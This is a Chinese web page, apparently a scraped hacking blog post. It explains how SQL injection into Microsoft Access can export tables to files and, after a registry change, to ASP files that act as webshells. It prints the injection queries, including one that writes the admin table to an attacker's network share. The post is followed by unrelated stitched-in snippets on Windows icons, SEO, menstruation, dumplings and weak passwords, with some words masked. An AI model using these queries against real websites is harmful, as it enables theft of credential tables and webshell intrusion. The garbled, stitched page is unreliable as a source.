已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。
最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的 *** ,分享之。
几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的 *** :
SELECT * into [test.txt] in ’d:\web\’ ’text;’ from admin
执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。
其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。
这个 *** 跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。
顺便提一下,前面提到的导出文本文件的 *** 如果不知道web路径貌似可以导出到自己机器的哦:SELECT * into [test.txt] in ’\\yourip\share’ ’text;’ from admin
win7是大家如今应用人最多的一款实际操作系统软件,在应用全过程中许多盆友会碰到那样那般的难题,假如碰到win7桌面上图标不见了该怎么解决呢?对于这个问题,我给大伙儿产生了解决方案,一起来瞧瞧吧如何找...
响亮两个字商务处事公司取名名字大全打分 生手商务处事公司 17.2分 后人商务处事公司 43.41分 形体商务处事公司 52.33分 概观商务处事公司 50.29分...
南京网站优化公司南京百度 应该是 奈何把网站的要害词优化到百度底层 应该是百度首页第一把。假如是底层,直接可以把网站标题改了可能删除网站都可以。 1.在优化一个网站之前,先阐明一下你的网站关于在这行业...
怎样在月经前调整心烦 暑假是女性的生理学阶段,也就是月经。大部分女士在月经前后左右都是有不一样水平的爱生气、心态不佳和睡眠质量不好。这比较严重危害了女士同胞们的生活品质,那麼怎样调节女性生理期...
如何包饺子(包饺子的手法)饺子可是咱河南人的最爱,小时候家里穷,很少吃肉,只有过年过节了才会包一回饺子解解馋,吃着那叫一个香。现在人生活节奏快了,工作忙了,想吃个饺子为了节省时间都是跑到饺子馆吃上一碗...
2.由于信息量大,处理政府信息的速度很慢; 日前,暗码办理公司SplashData第8次发布了年度最弱暗码列表。 研究人员剖析了互联网上走漏的超越500万个暗码,发现计算机用户...